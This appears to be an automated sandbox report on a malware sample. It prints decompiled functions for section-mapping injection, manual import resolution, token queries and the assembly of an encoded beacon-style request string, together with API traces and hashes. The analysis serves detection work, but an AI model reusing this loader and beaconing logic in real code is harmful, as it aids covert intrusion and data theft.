0x02f9844a
0x02f9844e
0x02f98457
0x02f9845f
0x02f9845f
0x02f98461
0x02f98461
0x02f98469
0x02f9846f
0x02f98473
0x02f98473
0x02f9847e

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 02F983FE
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 02F98411
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 02F9842D

Part of subcall function 02F92049: RtlAllocateHeap.NTDLL(00000000,00000000,02F97E50), ref: 02F92055

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 02F9844A
memcpy.NTDLL(00000000,00000000,0000001C), ref: 02F98457
NtClose.NTDLL(?), ref: 02F98469
NtClose.NTDLL(00000000), ref: 02F98473

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: c6a6e850460f9a648027d9bb6105496546d0b19c0e7efb462de12bb7935b89a6
Instruction ID: 90fce6438f055e7ac5e35e970b7ed09552c81ecbbf66241b6143c8063bcb3345
Opcode Fuzzy Hash: c6a6e850460f9a648027d9bb6105496546d0b19c0e7efb462de12bb7935b89a6
Instruction Fuzzy Hash: 4A21D4B294021CBBEF119FA5CC45ADEBFBDEF19B94F104026FA04E6120D7719A549FA0

Uniqueness

Uniqueness Score: -1.00%

Function 10001EB5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E10001EB5(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E10001D9F(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x10001ebe
0x10001ec5
0x10001ec6
0x10001ec7
0x10001ec8
0x10001ec9
0x10001eda
0x10001ede
0x10001ef2
0x10001ef5
0x10001ef8
0x10001eff
0x10001f02
0x10001f09
0x10001f0c
0x10001f0f
0x10001f12
0x10001f17
0x10001f52
0x10001f19
0x10001f1c
0x10001f22
0x10001f27
0x10001f2b
0x10001f49
0x10001f2d
0x10001f34
0x10001f42
0x10001f42
0x10001f2b
0x10001f5a

APIs

NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74B04EE0,00000000,00000000,?), ref: 10001F12

Part of subcall function 10001D9F: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,10001F27,00000002,00000000,?,?,00000000,?,?,10001F27,00000002), ref: 10001DCC

memset.NTDLL ref: 10001F34

Strings

@, xrefs: 10001F02

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Section$CreateViewmemset
String ID: @
API String ID: 2533685722-2766056989
Opcode ID: ee04d3b80f2aa96c2028224801f0ff00ef799990c629de64b363f9b0c8c139ed
Instruction ID: 22cae9f40a45f0817b401b8017966300679b6c07c9eb41be9fd604c10ac2f23b
Opcode Fuzzy Hash: ee04d3b80f2aa96c2028224801f0ff00ef799990c629de64b363f9b0c8c139ed
Instruction Fuzzy Hash: 4821D8B6D00209AFDB11DFA9C8849EEFBB9EB48354F10447AE615F7210D735AA498B60

Uniqueness

Uniqueness Score: -1.00%

Function 10001745, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001745(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x1000414c;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x1b4cdd98));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71); // executed
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x63699bc3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x63699b44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x63699bc3;
										}
										 *_v16 = _t55;
										_t58 = 0x725990f8 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x9c9664bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x10001745
0x1000174e
0x10001753
0x10001759
0x10001762
0x10001768
0x1000176a
0x1000176d
0x10001772
0x10001779
0x10001779
0x1000177d
0x10001785
0x10001788
0x00000000
0x00000000
0x1000178e
0x10001798
0x1000179a
0x1000179d
0x100017a0
0x100017a4
0x100017ac
0x100017ae
0x100017b1
0x10001819
0x10001819
0x1000181d
0x00000000
0x00000000
0x100017b6
0x100017bc
0x100017be
0x100017d1
0x100017d4
0x100017d4
0x100017d4
0x100017d8
0x100017c0
0x100017c0
0x100017c8
0x100017ca
0x00000000
0x00000000
0x00000000
0x00000000
0x100017ca
0x100017b8
0x100017b8
0x100017cc
0x100017cc
0x100017cc
0x100017db
0x100017de
0x100017e0
0x100017e7
0x100017e2
0x100017e2
0x100017e2
0x100017ef
0x100017f5
0x100017f7
0x10001827
0x100017f9
0x100017f9
0x100017fc
0x100017fe
0x10001806
0x10001806
0x1000180b
0x1000180d
0x10001814
0x10001816
0x10001816
0x10001816
0x00000000
0x10001816
0x00000000
0x100017f7
0x100017a6
0x100017a8
0x100017aa
0x00000000
0x00000000
0x100017aa
0x1000182a
0x1000182a
0x10001831
0x10001836
0x00000000
0x00000000
0x1000183c
0x10001847
0x00000000
0x10001847
0x1000183e
0x1000183e
0x10001844
0x00000000
0x10001844
0x10001772
0x10001848
0x1000184d

APIs

LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 1000177D
GetProcAddress.KERNEL32(?,00000000), ref: 100017EF

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 44a8695f59bde02a6b04981e26f2814c296b5372f7ca6d95004bada70fc4ba09
Instruction ID: c607def5a2bc0e5299d97bb95015c1db0b928527211c0f3006954d548cbcd348
Opcode Fuzzy Hash: 44a8695f59bde02a6b04981e26f2814c296b5372f7ca6d95004bada70fc4ba09
Instruction Fuzzy Hash: 78313675A0420A9FEB55CF99C880AEEB7F8FF04384F258069D805E7248EB70DA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10001D9F, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E10001D9F(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x10001db1
0x10001db7
0x10001dc5
0x10001dcc
0x10001dd1
0x10001dd7
0x00000000
0x10001dd8
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,10001F27,00000002,00000000,?,?,00000000,?,?,10001F27,00000002), ref: 10001DCC

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: 49ce00a74c5026685ddf57a3213c5fc1fdcbf11da22bef7e297f1a427f47f248
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: 42F01CB690020CBFEB119FA5DC85C9FBBBDEB44298B10497AB652E1094D6309E089A60

Uniqueness

Uniqueness Score: -1.00%

Function 02F98B94, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E02F98B94(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t94;
				intOrPtr _t101;
				signed int _t105;
				char** _t107;
				int _t110;
				signed int _t112;
				intOrPtr* _t113;
				intOrPtr* _t115;
				intOrPtr* _t117;
				intOrPtr* _t119;
				intOrPtr _t122;
				intOrPtr _t127;
				int _t131;
				CHAR* _t133;
				intOrPtr _t134;
				void* _t135;
				void* _t144;
				int _t145;
				void* _t146;
				intOrPtr _t147;
				void* _t149;
				long _t153;
				intOrPtr* _t154;
				intOrPtr* _t155;
				intOrPtr* _t158;
				void* _t159;
				void* _t161;

				_t144 = __edx;
				_t135 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0x2f9d018; // 0x139c7884
				asm("bswap eax");
				_t61 =  *0x2f9d014; // 0x3a87c8cd
				_t133 = _a16;
				asm("bswap eax");
				_t62 =  *0x2f9d010; // 0xd8d2f808
				asm("bswap eax");
				_t63 =  *0x2f9d00c; // 0xeec43f25
				asm("bswap eax");
				_t64 =  *0x2f9d27c; // 0xd0a5a8
				_t3 = _t64 + 0x2f9e633; // 0x74666f73
				_t145 = wsprintfA(_t133, _t3, 3, 0x3d14b, _t63, _t62, _t61, _t60,  *0x2f9d02c,  *0x2f9d004, _t59);
				_t67 = E02F91C1A();
				_t68 =  *0x2f9d27c; // 0xd0a5a8
				_t4 = _t68 + 0x2f9e673; // 0x74707526
				_t71 = wsprintfA(_t145 + _t133, _t4, _t67);
				_t161 = _t159 + 0x38;
				_t146 = _t145 + _t71; // executed
				_t72 = E02F954BC(_t135); // executed
				_t134 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t127 =  *0x2f9d27c; // 0xd0a5a8
					_t7 = _t127 + 0x2f9e8eb; // 0x736e6426
					_t131 = wsprintfA(_a16 + _t146, _t7, _t72);
					_t161 = _t161 + 0xc;
					_t146 = _t146 + _t131;
					HeapFree( *0x2f9d238, 0, _v8);
				}
				_t73 = E02F97649();
				_v8 = _t73;
				if(_t73 != 0) {
					_t122 =  *0x2f9d27c; // 0xd0a5a8
					_t11 = _t122 + 0x2f9e8f3; // 0x6f687726
					wsprintfA(_t146 + _a16, _t11, _t73);
					_t161 = _t161 + 0xc;
					HeapFree( *0x2f9d238, 0, _v8);
				}
				_t147 =  *0x2f9d32c; // 0x3ca95b0
				_t75 = E02F99395(0x2f9d00a, _t147 + 4);
				_t153 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					RtlFreeHeap( *0x2f9d238, _t153, _a16); // executed
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0x2f9d238, 0, 0x800); // executed
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0x2f9d238, _t153, _v20);
						goto L26;
					}
					E02F97A80(GetTickCount());
					_t82 =  *0x2f9d32c; // 0x3ca95b0
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0x2f9d32c; // 0x3ca95b0
					__imp__(_t86 + 0x40);
					_t88 =  *0x2f9d32c; // 0x3ca95b0
					_t149 = E02F98307(1, _t144, _a16,  *_t88);
					_v28 = _t149;
					asm("lock xadd [eax], ecx");
					if(_t149 == 0) {
						L24:
						RtlFreeHeap( *0x2f9d238, _t153, _v8); // executed
						goto L25;
					}
					StrTrimA(_t149, 0x2f9c2ac);
					_push(_t149);
					_t94 = E02F93CC8();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						HeapFree( *0x2f9d238, _t153, _t149);
						goto L24;
					}
					_t154 = __imp__;
					 *_t154(_t149, _a4);
					 *_t154(_v8, _v20);
					_t155 = __imp__;
					 *_t155(_v8, _v16);
					 *_t155(_v8, _t149);
					_t101 = E02F9809F(0, _v8);
					_a4 = _t101;
					if(_t101 == 0) {
						_v12 = 8;
						L21:
						E02F9A1B0();
						L22:
						HeapFree( *0x2f9d238, 0, _v16);
						_t153 = 0;
						goto L23;
					}
					_t105 = E02F943DF(_t134, 0xffffffffffffffff, _t149,  &_v24); // executed
					_v12 = _t105;
					if(_t105 == 0) {
						_t158 = _v24;
						_t112 = E02F9163F(_t158, _a4, _a8, _a12); // executed
						_v12 = _t112;
						_t113 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t113 + 0x80))(_t113);
						_t115 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t115 + 8))(_t115);
						_t117 =  *((intOrPtr*)(_t158 + 4));
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						_t119 =  *_t158;
						 *((intOrPtr*)( *_t119 + 8))(_t119);
						E02F99039(_t158);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t107 = _a8;
							if(_t107 != 0) {
								_t150 =  *_t107;
								_t156 =  *_a12;
								wcstombs( *_t107,  *_t107,  *_a12);
								_t110 = E02F985DB(_t150, _t150, _t156 >> 1);
								_t149 = _v28;
								 *_a12 = _t110;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E02F99039(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x02f98b94
0x02f98b94
0x02f98b94
0x02f98b9f
0x02f98ba6
0x02f98ba8
0x02f98ba8
0x02f98bb5
0x02f98bc0
0x02f98bc3
0x02f98bc8
0x02f98bd1
0x02f98bd4
0x02f98bd9
0x02f98bdc
0x02f98be1
0x02f98be4
0x02f98bf0
0x02f98bfd
0x02f98bff
0x02f98c05
0x02f98c0a
0x02f98c15
0x02f98c17
0x02f98c1a
0x02f98c1c
0x02f98c23
0x02f98c29
0x02f98c2c
0x02f98c2f
0x02f98c34
0x02f98c41
0x02f98c43
0x02f98c49
0x02f98c53
0x02f98c53
0x02f98c55
0x02f98c5c
0x02f98c5f
0x02f98c62
0x02f98c67
0x02f98c74
0x02f98c76
0x02f98c84
0x02f98c84
0x02f98c86
0x02f98c94
0x02f98c99
0x02f98c9d
0x02f98ca0
0x02f98e63
0x02f98e6d
0x02f98e76
0x02f98ca6
0x02f98cb2
0x02f98cba
0x02f98cbd
0x02f98e57
0x02f98e61
0x00000000
0x02f98e61
0x02f98cc9
0x02f98cce
0x02f98cd7
0x02f98ce8
0x02f98cec
0x02f98cf5
0x02f98cfb
0x02f98d0a
0x02f98d11
0x02f98d1a
0x02f98d20
0x02f98e4b
0x02f98e55
0x00000000
0x02f98e55
0x02f98d2c
0x02f98d32
0x02f98d33
0x02f98d3a
0x02f98d3d
0x02f98e41
0x02f98e49
0x00000000
0x02f98e49
0x02f98d46
0x02f98d4d
0x02f98d55
0x02f98d5a
0x02f98d63
0x02f98d69
0x02f98d70
0x02f98d77
0x02f98d7a
0x02f98e79
0x02f98e2d
0x02f98e2d
0x02f98e32
0x02f98e3d
0x02f98e3f
0x00000000
0x02f98e3f
0x02f98d84
0x02f98d8b
0x02f98d8e
0x02f98d93
0x02f98d9e
0x02f98da3
0x02f98da6
0x02f98dac
0x02f98db2
0x02f98db8
0x02f98dbb
0x02f98dc1
0x02f98dc4
0x02f98dc9
0x02f98dcd
0x02f98dcd
0x02f98dd9
0x02f98de5
0x02f98de9
0x02f98deb
0x02f98df0
0x02f98df2
0x02f98df7
0x02f98dfc
0x02f98e09
0x02f98e11
0x02f98e14
0x02f98e14
0x02f98df0
0x00000000
0x02f98ddb
0x02f98ddf
0x02f98e16
0x02f98e19
0x02f98e22
0x00000000
0x00000000
0x00000000
0x00000000
0x02f98e22
0x02f98de1
0x00000000
0x02f98de1
0x02f98dd9

APIs

GetTickCount.KERNEL32 ref: 02F98BA8
wsprintfA.USER32 ref: 02F98BF8
wsprintfA.USER32 ref: 02F98C15
wsprintfA.USER32 ref: 02F98C41
HeapFree.KERNEL32(00000000,?), ref: 02F98C53
wsprintfA.USER32 ref: 02F98C74
HeapFree.KERNEL32(00000000,?), ref: 02F98C84
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 02F98CB2
GetTickCount.KERNEL32 ref: 02F98CC3
RtlEnterCriticalSection.NTDLL(03CA9570), ref: 02F98CD7
RtlLeaveCriticalSection.NTDLL(03CA9570), ref: 02F98CF5

Part of subcall function 02F98307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,02F9A428,?,03CA95B0), ref: 02F98332
Part of subcall function 02F98307: lstrlen.KERNEL32(?,?,?,02F9A428,?,03CA95B0), ref: 02F9833A
Part of subcall function 02F98307: strcpy.NTDLL ref: 02F98351
Part of subcall function 02F98307: lstrcat.KERNEL32(00000000,?), ref: 02F9835C
Part of subcall function 02F98307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,02F9A428,?,03CA95B0), ref: 02F98379

StrTrimA.SHLWAPI(00000000,02F9C2AC,?,03CA95B0), ref: 02F98D2C

Part of subcall function 02F93CC8: lstrlen.KERNEL32(03CA9910,00000000,00000000,7742C740,02F9A453,00000000), ref: 02F93CD8
Part of subcall function 02F93CC8: lstrlen.KERNEL32(?), ref: 02F93CE0
Part of subcall function 02F93CC8: lstrcpy.KERNEL32(00000000,03CA9910), ref: 02F93CF4
Part of subcall function 02F93CC8: lstrcat.KERNEL32(00000000,?), ref: 02F93CFF

lstrcpy.KERNEL32(00000000,?), ref: 02F98D4D
lstrcpy.KERNEL32(?,?), ref: 02F98D55
lstrcat.KERNEL32(?,?), ref: 02F98D63
lstrcat.KERNEL32(?,00000000), ref: 02F98D69

Part of subcall function 02F9809F: lstrlen.KERNEL32(?,00000000,02F9D330,00000001,02F92200,02F9D00C,02F9D00C,00000000,00000005,00000000,00000000,?,?,?,02F996C1,02F923E9), ref: 02F980A8
Part of subcall function 02F9809F: mbstowcs.NTDLL ref: 02F980CF
Part of subcall function 02F9809F: memset.NTDLL ref: 02F980E1

wcstombs.NTDLL ref: 02F98DFC

Part of subcall function 02F9163F: SysAllocString.OLEAUT32(?), ref: 02F91680
Part of subcall function 02F9163F: IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 02F91702
Part of subcall function 02F9163F: StrStrIW.SHLWAPI(?,006E0069), ref: 02F91741

Part of subcall function 02F99039: HeapFree.KERNEL32(00000000,00000000,02F97F18,00000000,?,?,00000000), ref: 02F99045

HeapFree.KERNEL32(00000000,?,?), ref: 02F98E3D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02F98E49
RtlFreeHeap.NTDLL(00000000,?,?,03CA95B0), ref: 02F98E55
HeapFree.KERNEL32(00000000,?), ref: 02F98E61
RtlFreeHeap.NTDLL(00000000,?), ref: 02F98E6D

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: 85333cb2fb22596e86b84c32f677edcccfcfb204bae597f19db6f64beb815d71
Instruction ID: dd3653c3a4d37d344af2df03991edc31e0b35d8ebbd63c2e0e6d844a7e681f06
Opcode Fuzzy Hash: 85333cb2fb22596e86b84c32f677edcccfcfb204bae597f19db6f64beb815d71
Instruction Fuzzy Hash: B5912771D40208AFEF11EFA4DC88A9ABBB9EF097D0F244855E609D7260D7319961DF60

Uniqueness

Uniqueness Score: -1.00%

Function 02F9ADE5, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E02F9ADE5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x2f90000;
				_t115 = _t139[3] + 0x2f90000;
				_t131 = _t139[4] + 0x2f90000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x2f90000;
				_v16 = _t139[5] + 0x2f90000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x2f90002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x2f9d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x2f9d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x2f9d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x2f9d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x2f9d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x2f9d198; // 0x0
										 *_t102 = _t125;
										 *0x2f9d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x2f9d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x02f9adf4
0x02f9ae0a
0x02f9ae10
0x02f9ae12
0x02f9ae17
0x02f9ae1d
0x02f9ae22
0x02f9ae25
0x02f9ae33
0x02f9ae3a
0x02f9ae3d
0x02f9ae40
0x02f9ae41
0x02f9ae44
0x02f9ae47
0x02f9ae4a
0x02f9ae4f
0x02f9ae5e
0x00000000
0x02f9ae64
0x02f9ae6e
0x02f9ae78
0x02f9ae7d
0x02f9ae7f
0x02f9ae89
0x02f9ae8c
0x02f9ae8f
0x02f9ae95
0x02f9ae97
0x02f9ae97
0x02f9ae9a
0x02f9ae9d
0x02f9aea2
0x02f9aea6
0x02f9aeb9
0x02f9aebb
0x02f9af63
0x02f9af63
0x02f9af6a
0x02f9af6d
0x02f9af77
0x02f9af77
0x02f9af7b
0x02f9aff9
0x02f9affc
0x02f9affe
0x02f9affe
0x02f9b005
0x02f9b007
0x02f9b011
0x02f9b014
0x02f9b017
0x02f9b017
0x00000000
0x02f9af7d
0x02f9af80
0x02f9afae
0x02f9afb8
0x02f9afbc
